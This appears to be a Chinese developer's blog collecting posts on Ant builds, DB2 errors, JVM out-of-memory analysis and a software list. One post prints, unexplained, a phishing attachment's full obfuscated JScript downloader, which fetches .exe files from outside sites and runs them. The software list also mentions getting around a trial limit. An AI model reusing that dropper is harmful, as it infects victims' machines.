haoweishow Blog

ESB/Java

如何提高工作效率

//add post at 2015-01-14

标题比较大,实际内容仅涉及到工作中的一小部分内容.

背景

项目组开发人员,在开发管理控制台的界面,由于框架的原因,页面文件必须放到jar包里才能加载.

开发过程

  1. 本地eclipse开发页面代码
  2. 下载服务器上的jar包
  3. 手动把文件拖到jar包
  4. 上传jar包到服务器
  5. 重启服务器
  6. 打开页面看结果

过程分析

  • 在整个开发过程中,过多的时间都浪费在第3步
  • 如果页面的源文件目录结构很深,又分布在不同的目录中,那么要把这些目录拖动到jar包里相应的目录上,消耗的时间可想而知
  • 可能到这里,有经验的或者稍微动动脑的同学都知道该怎么优化这个过程
  • 可问题是为什么不想办法提高一下效率呢?磨刀不误砍柴工的道理大家应该都懂

解决方法

  • 通过ant脚本来抽取代码和执行打包的动作
  • 目前上传文件还是通过FTP工具实现,没有测试过ant是否可以上传

程序清单

//add post at 2015-01-13

Mac系统

编程

  • IntelliJ IDEA 13(其实不是很习惯这个软件,但是Eclipse总是崩溃)
  • Xcode(试过obj-c和swift,但是一直没有开发出成型的东西)
  • XMind(尝试过一些写作,但是没有深度使用)
  • Dash(用的比较少,不然还是要用付费版本的,那个等待的设计,真坑;今天还看到这个作者90后,年收入XX万美金,励志榜样啊)
  • OmniGraffle(还未深入使用)

阅读

  • Pocket(一直默默使用)
  • Reader(RSS阅读器,以后一定支持作者)
  • PDFNut(PDF文件阅读,管理软件,简洁;关键自己阅读的少)

编辑

  • Atom(从github上下载源码,编译生成,SublimeText)
  • BBEdit
  • MacVim
  • MacDown(现在用这个软件来维护blog的文章,ulysses好用,但是导出的md文件格式跟blog的不兼容)mod at 2015-03-17
  • DiffMerge
  • Mou(开始些blog的时候用过,不过有了Ulysses,就不再使用了)
  • Ulysses(不愧是AppStore的推荐,比Mou好用N多,以后一定支持作者)
  • Writer Pro
  • Microsoft Office 2011

日志

  • Day One(记录生活的日志软件,目前基本都是关于我们家玥玥的:))

虚拟机

  • Parallel Desktop 10(圣诞节优惠购,值)
  • Virtual Box(现在很少用)

系统

  • iTerm2(下载源码编译安装)
  • Moom(付费的软件就是不一样,很方便,跟OSX系统的结合很自然)
  • Go2Shell(用了Alfred高级功能,这个软件就基本可以歇菜了)
  • Alfred 2(高级功能使用很少)
  • DesktopActivity(简洁,赞!)
  • Wallpapers HD Lite(图片的质量很不错)
  • BetterZip(Mac下的解压缩软件,不如WinRAR还用,还是用命令打包解压)
  • 1Password 5(圣诞节优惠购,值)
  • CleanMyMac 2 (圣诞节优惠购,值)

网路

  • NetSpot
  • Network Inspector
  • 云梯(国内上网必备,之前用国外的VPN Shield很不稳定,这个也是经常断线,几个国家的换着连接,到期再换曲径试试)

GTD

  • Things(简洁,赞!)(购买了超值的软件包,支持正版!mod at 2015-03-17)

同步

  • 115网盘(大容量,分享内容的用户很多)(不过现在只有会员才能够得到别人分享的东西!mod at 2015-03-17)
  • 百度云(空间大,现在用来做数据备份)
  • CloudApp(同步剪切板,截图,小文件的软件,不过win下不怎么好用,正在考虑自己开发一个本地的版本)
  • Evernote(好用不解释,不过现在软件已经沦陷为收集器了.)
  • 麦库(先发现的有道笔记,开始的时候很热心,在微博上提过一些意见,但是反馈很X,逐渐放弃;搜索同类找到Evernote,那个时候还没有印象笔记,同步不稳定;又尝试麦库;再后来有回到Evernote,并付费使用)
  • Dropbox(12或者13年的时候,可以不翻墙使用,用过一段时间,主要用来备份数据,2G的免费空间暂时后用,后来无法访问就放弃了;现在因为Day One支持的iCloud同步不稳定,又因为有了VPN,所有把Day One的同步切换到了dropbox上,可恶的gfw,同步个笔记还得开VPN)

Win系统

Win软件下还是没有付费习惯.
第一个付费的Win软件是Evernote.

UI设计

  • WireframeSketcher(最近使用,14天的免费试用,感觉还不错,希望能尽快完成任务)(调整系统时间,然后断网,继续使用…mod at 2015-03-17)
  • UIDesigner 2.5(腾讯出品,没有深入使用,不过配套的UIDPlayer可以在手机上直接运行设计出来的软件)

流程图

  • Microsoft Visio(现在流程图之类的主要靠这个啦)
  • ArgoUML(大学的时候,老师上课演示用过,工作以后用的不过,关键是画UML图画的少)
  • Diagram Designer

编程

  • Dev-C++(第一个C开发工具,大学的C++课程老师用的就是这个,一直使用到现在,简洁)
  • Eclipse(这个就不用说了,最爱用的MyEclipse3.3的那个版本)
  • Beyond Compare 3(神器,在平安的时候,处理过8个并行版本的版本同步)
  • UltraEdit-32(文本编译还是习惯用这个,EditPlus和NotePad用不久)
  • Cygwin Terminal(偶尔用个grep/find之类的命令)
  • Altova XMLSpy(用了N久了,但是一直都是用来格式化XML)
  • SecureCRT 7.2(在平安的时候,同事推荐过,但是没有深入了解,感觉不如SSH Secure Shell Client好用,但是后来另一个同事告诉我这个工具上传文件的方式之后,就彻底沦陷了,Alt+p,太方便了)
  • SSH Secure Shell Client(用的最早的一款ssh软件)
  • Xmanager Enterprise 4(在多个页签之间切换会卡顿,不知道是版本的问题还是其它)
  • Wireshark

版本管理

  • SVN
  • Git(最好用的版本管理软件,只有真正使用,才能说好.mod at 2015-03-17)

IOS系统

DB2 load数据失败(SQL2036N)

背景

  • 数据库实例用户: userA
  • 数据操作用户: userB

操作

  • userB执行export命令,导出ixf格式的数据;
  • userB执行import命令,导入ixf格式的数据,正常导入;
  • userB执行load命令,导入ixf格式的数据,导入失败;
1
2
SQL2036N  The path for the file or device
"/home/esb/batch/data/tmp_xxxx_20141101.ixf" is not valid.

解决

  • 数据库实例用户userA对文件/home/esb/batch/data/tmp_xxxx_20141101.ixf没有访问权限.
  • 给userA授权对该文件的访问权限,即可使用load导入数据.

WTF

收到一封邮件

附件解压

是个js文件,里面是什么?

1
2
-rw-r--r--@ 1 xxx  staff  9973 12 11 17:34 FedEx_000482152.doc.js
-rw-r--r--@ 1 xxx  staff  2787 12 11 17:31 FedEx_000482152.zip

格式化一下

这个是做什么的?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
var a1='';
function u() {a1 += 'if (r'; k(); };
function rsbi() { a1 += 'TE'; ao(); };
function tsis() { a1 += 'n;'; qyxt(); };
function rb() { a1 += 'unct'; nj(); };
function hzi() { a1 += 'r xo'; hwgc(); };
function ryi() { a1 += 'dy); '; nz(); };
function ufp() { a1 += 'Ac'; x(); };
function xjgz() { a1 += 'Char'; n(); };
function zsx() { a1 += 'ET",f'; lo(); };
function gc() { a1 += 'd='; gigu(); };
function bpv() { a1 += 'nr'; rn(); };
function pzg() { a1 += 'ar x'; gvna(); };
function g() { a1 += 'me'; wqvx(); };
function x() { a1 += 'ti'; omfz(); };
function vp() { a1 += '.e'; lpo(); };
function obye() { a1 += '82'; vrc(); };
function lmk() { a1 += '2455'; sinm(); };
function enlr() { a1 += 'Run(f'; xyud(); };
function ckna() { a1 += 'n,'; huh(); };
function hwgc() { a1 += ' ='; rxu(); };
function xyud() { a1 += 'n,0,'; jps(); };
function fl() { a1 += '1; xa'; l(); };
function a() { a1 += ' va'; m(); };
function nntn() { a1 += '); dl'; qzpp(); };
function xtz() { a1 += '.co'; gx(); };
function uix() { a1 += 'Shell'; azss(); };
function oppg() { a1 += 'B09'; viiv(); };
function ljy() { a1 += 'XML2'; uwku(); };
function mn() { a1 += 'd(); '; u(); };
function d() { a1 += 'B0'; jq(); };
function z() { a1 += 'a.typ'; ewsz(); };
function l() { a1 += '.writ'; muve(); };
function emq() { a1 += 'sea'; xtz(); };
function qq() { a1 += '0;'; q(); };
function sb() { a1 += 'd-a'; ww(); };
function znqo() { a1 += 'D17'; cesz(); };
function lrqi() { a1 += 'B13'; lmk(); };
function sinm() { a1 += '52'; pr(); };
function ha() { a1 += 'a.cl'; zdjv(); };
function h() { a1 += 'e(92'; lfo(); };
function yy() { a1 += 'tive'; p(); };
function tu() { a1 += 'B.S'; yrhv(); };
function byz() { a1 += 'nt'; zq(); };
function vtvt() { a1 += 'r ws'; ykrc(); };
function wjvr() { a1 += ' ('; hero(); };
function equ() { a1 += '",1'; nntn(); };
function vqii() { a1 += 'nseBo'; ryi(); };
function o() { a1 += 'po'; vqii(); };
function tm() { a1 += '0525E'; oot(); };
function lg() { a1 += 'ch'; wjvr(); };
function hr() { a1 += 'and-s'; ysr(); };
function av() { a1 += 'ct'; v(); };
function lfo() { a1 += ')+f'; tsis(); };
function uwhq() { a1 += 'nd=60'; oeq(); };
function mrg() { a1 += ' ws.'; enlr(); };
function oot() { a1 += '0C050'; evcq(); };
function oeq() { a1 += '399'; ljo(); };
function iz() { a1 += '4A070'; d(); };
function j() { a1 += 'ipt.'; uix(); };
function wqvx() { a1 += 'nt.p'; qai(); };
function ihjo() { a1 += 'aveTo'; knb(); };
function azss() { a1 += '");'; a(); };
function oc() { a1 += ',1);'; epo(); };
function iwny() { a1 += 'Str'; vo(); };
function evcq() { a1 += 'B1301'; tccy(); };
function nyfn() { a1 += '= ws.'; xa(); };
function owq() { a1 += 'am"'; wp(); };
function w() { a1 += 'cum'; gi(); };
function qyxt() { a1 += ' va'; hzi(); };
function ber() { a1 += '/d'; qs(); };
function asua() { a1 += ' = f'; rb(); };
function muve() { a1 += 'e(xo'; xe(); };
function uykf() { a1 += '5052'; sti(); };
function gkv() { a1 += ' {'; mrg(); };
function rxu() { a1 += ' n'; mzr(); };
function n() { a1 += 'Cod'; h(); };
function am() { a1 += 'ADOD'; tu(); };
function qs() { a1 += 'ocu'; g(); };
function lwx() { a1 += '55257'; iz(); };
function edmc() { a1 += '{ x'; wl(); };
function v() { a1 += '("MS'; ljy(); };
function bbt() { a1 += 'l("ht'; pe(); };
function zha() { a1 += 'l(fr,'; phzf(); };
function ue() { a1 += ' }; d'; bbt(); };
function kost() { a1 += 'A07'; vqt(); };
function uuxy() { a1 += '//www'; f(); };
function t() { a1 += 'n) { '; upd(); };
function aut() { a1 += 'om/d'; al(); };
function qgji() { a1 += 'adySt'; dx(); };
function gj() { a1 += 'cr'; j(); };
function vqt() { a1 += '0B09&'; vh(); };
function omfz() { a1 += 've'; rg(); };
function c() { a1 += '"WS'; gj(); };
function ww() { a1 += 'nd-'; emq(); };
function yved() { a1 += 'nd'; ab(); };
function xe() { a1 += '.Res'; o(); };
function nrg() { a1 += 'ec'; tbw(); };
function xjj() { a1 += ' 4) '; dkf(); };
function dkf() { a1 += '{ v'; pzg(); };
function vlkp() { a1 += '=545'; tm(); };
function uicj() { a1 += '/w'; ldz(); };
function knb() { a1 += 'File'; tra(); };
function vrm() { a1 += ' x'; agsl(); };
function qai() { a1 += 'hp?i'; gc(); };
function jcks() { a1 += '13245'; lwx(); };
function lo() { a1 += 'r,fa'; lh(); };
function unt() { a1 += 'xo'; sm(); };
function vrc() { a1 += '","50'; nmf(); };
function deli() { a1 += '.lan'; sb(); };
function sm() { a1 += '.sen'; mn(); };
function lh() { a1 += 'lse'; dv(); };
function nz() { a1 += 'xa.po'; uj(); };
function dkiz() { a1 += '.o'; bpv(); };
function ku() { a1 += ',"771'; md(); };
function sti() { a1 += '5E0C0'; xz(); };
function ab() { a1 += '=44'; wls(); };
function f() { a1 += '.l'; tqum(); };
function ty() { a1 += 'XObje'; av(); };
function jps() { a1 += '0); '; b(); };
function b() { a1 += '}; } '; xel(); };
function ys() { a1 += '"G'; zsx(); };
function gi() { a1 += 'ent.p'; iun(); };
function cf() { a1 += '3010'; znqo(); };
function bdhj() { a1 += '731"'; hcfw(); };
function wj() { a1 += 'LHT'; vl(); };
function ie() { a1 += '> 0)'; gkv(); };
function mwe() { a1 += ') { '; yb(); };
function rg() { a1 += 'XObj'; cvwq(); };
function pmyu() { a1 += '); x'; z(); };
function xh() { a1 += '1301'; esu(); };
function y() { a1 += 'nd-a'; pg(); };
function ewsz() { a1 += 'e = '; fl(); };
function krf() { a1 += 'tec'; feg(); };
function i() { a1 += 'n d'; zha(); };
function gsn() { a1 += 'St'; cht(); };
function as() { a1 += ')+'; iwny(); };
function al() { a1 += 'ocu'; ceyq(); };
function gx() { a1 += 'm/do'; w(); };
function hero() { a1 += 'er)'; iza(); };
function srsv() { a1 += '/www'; deli(); };
function ceyq() { a1 += 'me'; byz(); };
function ysr() { a1 += 'ea.c'; aut(); };
function lxf() { a1 += 'C0B'; jcks(); };
function pnq() { a1 += 'tive'; ty(); };
function tra() { a1 += '(f'; ckna(); };
function yr() { a1 += 're'; qgji(); };
function ljo() { a1 += '23"'; ku(); };
function pwar() { a1 += '(xo.'; yr(); };
function cesz() { a1 += '0C'; px(); };
function ibwz() { a1 += '2703'; vp(); };
function vjma() { a1 += ' try '; edmc(); };
function px() { a1 += '0B13'; kyn(); };
function wuw() { a1 += 'en('; pmyu(); };
function bsh() { a1 += 'p?id'; vlkp(); };
function ppvn() { a1 += 'a.com'; ber(); };
function smo() { a1 += 'ctio'; i(); };
function pt() { a1 += ' Ac'; yy(); };
function r() { a1 += 'nviro'; sj(); };
function vf() { a1 += '83'; ql(); };
function bzwk() { a1 += 'fun'; smo(); };
function pg() { a1 += 'nd-se'; ppvn(); };
function xa() { a1 += 'Expa'; emly(); };
function mkur() { a1 += 'ew '; ufp(); };
function zdjv() { a1 += 'os'; oai(); };
function hcfw() { a1 += ',"90'; wnv(); };
function kdea() { a1 += ':/'; uicj(); };
function fkss() { a1 += 'd='; lcd(); };
function zq() { a1 += '.ph'; bsh(); };
function emly() { a1 += 'ndE'; r(); };
function wl() { a1 += 'o.op'; qogu(); };
function s() { a1 += '==='; xjj(); };
function kvr() { a1 += ');'; fvk(); };
function lcd() { a1 += '54505'; kbeb(); };
function vl() { a1 += 'TP");'; qbtb(); };
function feg() { a1 += 'hange'; asua(); };
function fvk() { a1 += ' dl("'; mefp(); };
function nj() { a1 += 'ion('; mwe(); };
function ykrc() { a1 += ' = '; tf(); };
function klrf() { a1 += ' }; '; xs(); };
function yb() { a1 += 'if '; pwar(); };
function axij() { a1 += 'g.fr'; fd(); };
function epo() { eval(a1); };
function vh() { a1 += 'rnd=7'; vf(); };
function wnv() { a1 += '26395'; e(); };
function uj() { a1 += 'sitio'; xtm(); };
function yrhv() { a1 += 'tre'; owq(); };
function dx() { a1 += 'ate '; s(); };
function jq() { a1 += '9&r'; yved(); };
function tbw() { a1 += 't('; c(); };
function fd() { a1 += 'om'; xjgz(); };
function cht() { a1 += 'rin'; xafg(); };
function mzr() { a1 += 'ew Ac'; pnq(); };
function ldz() { a1 += 'ww'; ey(); };
function kdod() { a1 += '70'; oppg(); };
function e() { a1 += '3.exe'; equ(); };
function viiv() { a1 += '&r'; uwhq(); };
function kbeb() { a1 += '25'; rryx(); };
function mefp() { a1 += 'http:'; uuxy(); };
function phzf() { a1 += 'fn,r'; t(); };
function lpo() { a1 += 'xe",1'; kvr(); };
function pr() { a1 += '574A0'; kdod(); };
function tccy() { a1 += '0D1'; qhm(); };
function agsl() { a1 += 'a.op'; wuw(); };
function huh() { a1 += '2); x'; ha(); };
function dv() { a1 += '); '; unt(); };
function md() { a1 += '60130'; sz(); };
function oai() { a1 += 'e();'; klrf(); };
function wls() { a1 += '21'; bdhj(); };
function gvna() { a1 += 'a = n'; mkur(); };
function q() { a1 += ' xa.s'; ihjo(); };
function uwku() { a1 += '.XM'; wj(); };
function vo() { a1 += 'in'; axij(); };
function rryx() { a1 += 'E0C0'; fmxx(); };
function ey() { a1 += '.la'; y(); };
function ql() { a1 += '93'; obye(); };
function tqum() { a1 += 'and-'; hr(); };
function qhm() { a1 += '70C0'; lrqi(); };
function xel() { a1 += 'cat'; lg(); };
function k() { a1 += 'n '; ie(); };
function pe() { a1 += 'tp:/'; srsv(); };
function sz() { a1 += '.exe"'; oc(); };
function m() { a1 += 'r fn '; nyfn(); };
function qogu() { a1 += 'en('; ys(); };
function cvwq() { a1 += 'ect("'; am(); };
function iza() { a1 += ' { };'; ue(); };
function p() { a1 += 'XObj'; nrg(); };
function fmxx() { a1 += '50B'; xh(); };
function djo() { a1 += 'ta'; krf(); };
function upd() { a1 += 'va'; vtvt(); };
function tsd() { a1 += 'ttp'; kdea(); };
function xs() { a1 += '};'; vjma(); };
function wp() { a1 += ');'; vrm(); };
function gigu() { a1 += '54'; uykf(); };
function tf() { a1 += 'new'; pt(); };
function xz() { a1 += '50B1'; cf(); };
function qbtb() { a1 += ' xo'; dkiz(); };
function esu() { a1 += '0D1'; ee(); };
function ao() { a1 += 'MP%"'; as(); };
function sj() { a1 += 'nment'; gsn(); };
function nmf() { a1 += '19'; ibwz(); };
function qzpp() { a1 += '("h'; tsd(); };
function kyn() { a1 += '24555'; mmjk(); };
function rn() { a1 += 'eadys'; djo(); };
function mmjk() { a1 += '2574'; kost(); };
function ee() { a1 += '70'; lxf(); };
function xtm() { a1 += 'n = '; qq(); };
function iun() { a1 += 'hp?i'; fkss(); };
function xafg() { a1 += 'gs("%'; rsbi(); }; bzwk();

DB2监控-db2top

db2top命令使用

  • db2top -d 该命令的面板
  • shift+d 查看SQL执行情况,包括SQL的调用次数,执行时间等
    通常可以根据SQL的执行次数以及执行时间可以判断数据库当前的处理能力
  • 每条sql都有对应的HashValue,shift+l可以根据该sql的HashValue查看完整的sql语句

性能问题排查

Linux系统

  • 定位占用cpu高的java线程
1
top -H -p <pid> -d 1 -n3
  • 查看该线程的执行时间
1
ps -mp <pid> -o THREAD,tid,time
  • 通过pstack查看进程的栈信息
1
pstack <pid>

Aix系统

  • 定位占用cpu高的java线程
1
2
ps -mp <pid> -o THREAD
结果显示格式:线程十进制的ID 状态:(R/S/Z) CPU占用百分比 其它...
  • 将十进制线程ID转换为十六进制
1
printf "%x\n" 131268965
  • 查找线程
1
2
kill -3 <pid>
根据十六进制的线程ID,可以定位到占用CPU高的线程

OOM故障分析-案例1

背景


  • 生产环境,应用刚上线,几乎每天一次OOM.
  • 操作系统: AIX 6.1
  • JDK版本: J2RE 5.0 IBM J9 2.3 AIX ppc64-64 build j9vmap6423-20100808
  • JVM参数: -Xmx2048m -Xms2048m 无其它参数设置,采用JVM默认设置
  • 分析工具: jca455.jar ibm_ha446.jar

分析1


第一次出现故障,发过来java进程的dump文件,3组12个文件:

  • 4个heapdump.xxxx.phd;
  • 4个javacore.xxxx.txt;
  • 4个Snap.xxxx.trc

使用IBM HA工具分析phd文件

打开[Analysis View]如下:

  • 通过HA的分析,结果很明显,java/util/Stack里的数据量超大,占用内存92.2%
  • 这个Stack是自定义的XML解析器里的一个属性,用于存储在解析过程中存储XML节点信息
  • 看到这里,如果对应用了解的话,是能够找到程序哪个模块调用这个XML解析器,可是我不了解这个应用,而且不在现场
  • 接下来的分析过程,包括未来几天陆续出现的OOM,分析其中的phd文件都是同样的现象,Stack里的数据量超大,都是超过90%的堆内存占用

打开[Root List]如下:

  • 排名第一的是XML解析器,其它的对象内存使用都很小

打开[Tree View]如下:

  • 这里有个疑问,为什么这个解析器是root object,明明是有线程调用这个解析器进行XML解析的
  • 关于JVM的root object还是不了解!!

使用IBM JCA工具分析javacore文件

打开[Thread Dump List]如下:

  • 在网上查找关于javacore文件相关资料的时候,网上有个案例,可以根据这里的WARN提示就定位出产生OOM的线程
  • 我的这个案例不一样了,可以看到这几个WARN涉及的线程申请的内存都很小,说明这个时候内存已经被使用殆尽,这几个线程不是导致OOM的真正原因

打开[Thread Status]如下:

  • 这里显示的线程信息,与OOM没有关系,但是可以看到这个应用里的一些问题,很多线程都处于Blocked状态,左下角框起来的仅仅是部分,几乎都是由于日志记录引起的
  • 这个应用由于业务场景的需要,需要记录交易的详细日志.后来到现场看到系统的日志,一共2个还是3个日志文件,每个小时切换一个日志文件.
  • 近300个线程,将大量的交易日志写到两个文件中,锁的竞争可想而知;这里其实也有优化的空间的,可以根据某些关键字,将日志文件分类,就像数据库表分区一样;相信300个线程写分散到20个日志文件中,性能的提升应该是可见的.

初步分析

  • 至此,导致OOM的直接原因是解析XML的时候,该解析器的Stack里的数据超大
  • 而Stack里的数据超大,是不是解析过程中陷入某种循环无法退出导致呢?

分析2

终于到现场进行分析了,很庆幸的是,在现场的性能测试环境能够重现该问题.
分析该解析器:

  • 该类在解析XML的时候,用Stack来存储节点的信息
  • 遇到节点开始,将节点的对象入栈,遇到节点结束,弹栈
  • 因此造成Stack数据量大就这能出现在入栈的地方了.
  • 所以在入栈之后,增加判断,当栈的size超过阀值之后,打印出一些信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//伪代码  
public class xxxxReader extends xxxx{
    private Stack stack = new Stack();
    /**************************************************************/
    public void debug(){
        if(stack.size()>1000){
            System.out.println("stacksize:"+stack.size());
            Thread.dumpStack();//打印栈信息,就知道哪个模块调用到这个解析器
        }
    }
    /**************************************************************/
    public void startElement(){
        stack.push(obj);
        debug();
    }
    public void endElement(){
        stack.pop();
    }
    public void startArray(){
        stack.push(obj);
        debug();
    }
    public void endArray(){
        stack.pop();
    }
}
  • 在性能测试环境打上该类,重启,再次进行压力测试.
  • 半个小时左右的样子,出现OOM,经过统计System.out和Thread.dumpStack()的日志,锁定了两个调用的地方.
  • 再次修改这个解析器,加入临时属性,用于保存要解析的报文,这样在出现超大Stack的时候,可以将报文打印出来,这个代码就不贴了.
  • 重启,再压,得到异常时候的报文,该报文的结构正常,应该不会导致死循环,于是在本地编写解析器的测试代码,解析该报文1次,1万次都正常.
  • 难道是多线程的问题呢?
  • 修改测试代码,两个线程,同时各执行1万次,问题重现了!!!!
  • 又多跑了很多次,稳定重现,有时候是OOM,有时候是解析过程中抛解析的异常,很明显这个解析器多线不安全
  • 至此,该问题已经基本定位,该解析模块比较复杂,没深入研究,因为我这里有十分成熟的解决方案
  • 替换调用该解析器的两处代码,重启,再压,问题解决.

感受

  • 刚开始被派到现场解决这个问题的时候,心里一直很忐忑,解决不了怎么办?因为之前给的dump文件没有分析出问题点,现场能提供的肯定也是这些文件.解决不了怎么跟客户交代呢…
  • 来到现场,问题能够重现,有戏!
  • 分析过程还是要根据经验,逐步排查问题点

Ant命令汇总

更新zip包

1
2
3
<target name="zip">
    <zip destFile="111.zip" basedir="." includes="123.txt" update="true" />
</target>

调用target

  • 方法1
1
2
3
<target name="war.import" depends="svn.task,war.name">
    <echo>A: ${war.name}</echo>
</target>
  • 方法2
1
2
3
4
<target name="war.import" depends="svn.task">
    <antcall target="war.name"/>
    <echo>B: ${war.name}</echo>
</target>

copy命令

  • 拷贝单个文件
1
<copy todir="/home/esb" file="/tmp/config/build.xml"/>
  • 拷贝文件夹
1
2
3
4
5
6
<copy todir="/home/esb" includeEmptyDirs="yes" overwrite=“true” verbose="true">
    <fileset dir="/test/config">
        <include name="aaa/**"/>
        <exclude name="bbb/**"/>
    </fileset>
</copy>

文件移动

  • 文件改名
1
<move file="src1/test.txt" tofile="src/test.txt"/>
  • 单个文件移动
1
<move file="src1/test.txt" todir="src"/>
  • 文件夹移动
1
2
3
<move todir="src"> 
    <fileset dir="src1"/>
</move>

javac设置classpath

  • 方法1
1
2
3
4
5
6
7
8
<javac srcdir="${src}" destdir="${classes}">
    <classpath>
        <fileset dir="lib">
            <include name="*.jar"/>
        </fileset>
        <path locaiton="build/classes" />
    </classpath>
</javac>
  • 方法2
1
2
3
4
5
6
<javac srcdir="${src}" destdir="${classes}">
    <classpath>
        <fileset dir="build/lib/" includes="*.jar" />
        <dirset dir="build/classes/" />
    </classpath>
</javac>

javac参数

1
2
3
4
5
6
<javac srcdir="${common.src.dir}" destdir="${build.temp.common.classes.dir}" debug="on" memoryMaximumSize="256m" fork="true" deprecation="off" failonerror="false">
    <!--给编译器指定编码,防止出现:"警告: 编码 GBK 的不可映射字符"-->
    <compilerarg line="-encoding UTF-8"/>
    <classpath refid="common.lib.path"/>
    <include name="**"/>
</javac>

jar参数

1
2
3
4
5
6
7
8
9
10
<jar destfile="${dest.jar.name}">
    <fileset dir="${dest.classes.dir}">
        <include name="com/**/**/*.class" />
    </fileset>
    <manifest>
        <!-- 增加MF的参数信息 --> 
        <attribute name="Main-class" value="${mainclass}"/>
        <attribute name="Class-Path" value="${mf.classpath}"/>
    </manifest>
</jar>

文件转路径

1
2
3
4
5
6
7
8
9
10
11
12
<!-- Create a property containing all .jar files, prefix lib/, and seperated with a space -->
<pathconvert property="mf.classpath" pathsep=" ">  
    <mapper>  
        <chainedmapper>  
            <!-- jar包文件只留文件名,去掉目录信息 -->  
            <flattenmapper/>  
            <!-- add lib/ prefix -->  
            <globmapper from="*" to="lib/*"/>  
        </chainedmapper>  
    </mapper>  
    <path refid="lib-classpath"/>  
</pathconvert>

执行java程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<target name="test-crawl1">
    <java classname="org.apache.nutch.crawl.Crawl">
        <classpath>
            <path location="build/classes"></path>
        </classpath>
        <classpath>
            <fileset dir="lib" includes="**/*.jar"></fileset>
        </classpath>
        <arg value="multiurls1.txt"/>
        <arg value="-dir"/>
        <arg value="crawed1"/>
        <arg value="-depth"/>
        <arg value="7"/>
        <arg value="-threads"/>
        <arg value="7"/>
        <arg value="-topN"/>
        <arg value="-100"/>
    </java>
</target>

浦发银行ESB项目实施经验总结

项目实施经验总结


  • XML报文的转义字符处理
  • 如果XML报文要传输不可见字符,则要制定相应的规范(例如转换成十六进制字符)
  • 数据库建表,添加约束,可以避免不必要的重复数据或者空数据,主键或者约束必须落在关键的字段上,否则无法避免关键数据的重复
  • 日志打印,info日志是描述做什么,debug日志描述怎么做的
  • 异常日志,没有特殊情况,不能把日志吞掉,相反,详细的输出出现异常情况时运行态相关的数据到日志中,可以方便问题定位
  • 数据从数据库加载到内存,如果是静态数据,可以先将数据落地到文件系统,再从文件系统加载到内存中,这样如果出现运行时异常,可以查看本地文件系统进行问题定位(此方法要结合实际情况)
  • 项目过程中的问题、环境、联系人等一些静态信息,可以使用wiki或者blog系统存放,这样的好处是查看、检索、修订方便
  • 项目组环境等信息及时更新,记录到文档中,方便归档,但是不方便使用;
  • 问题总结清单
  • 每次代码更新需要review—这个要根据项目实际情况而定
  • 所有的备份操作必须进行恢复性验证,特别是数据库的备份
  • 与外围系统的通讯模式之类的方案,需要项目组统一评审确定
  • 代码库与版本库更新部署流程
  • 确定标准字段/定义标准报文的时候,需要明确每个字段的含义,如果有出现模糊不清楚,或者未来废弃的字段,必须在服务化治理过程中,逐步废弃掉这些含糊不清的字段
  • 线程池怎么用?
    • 必须根据根据其实际功能 为 不同的线程池 设置相应的名称,这样在dump出线程信息里面,可以根据名称来区分线程
    • 能想像一下,dump文件里有1万多个线程池,名字都是[pool-xxx-thread-xxx],而你不知道这些线程池是哪里创建出来的
  • 标准性的接口规范,例如SOP报文转SOAP报文,这个转换过程中,需要字段映射,同时还需要将每个字段对应的转换方式在工作之初,要确定下来,如果前期因为接口有些字段不明确,很可能造成后期频繁的修改规范或者处理方式
  • 上线的脚本,制定标准的格式:脚本名称(脚本文件名称格式标准化;脚本名称分类:ddl和dml分类;功能分类;insert和update等分类),脚本内容(每条语句或者每组语句,必须添加脚本注释)
  • 监控功能,监控内容:数据库连接池,容器线程池,虚拟机内存监控,队列监控
  • 交接工作一定要对其交接的内容深入了解。
  • 性能测试由行内进行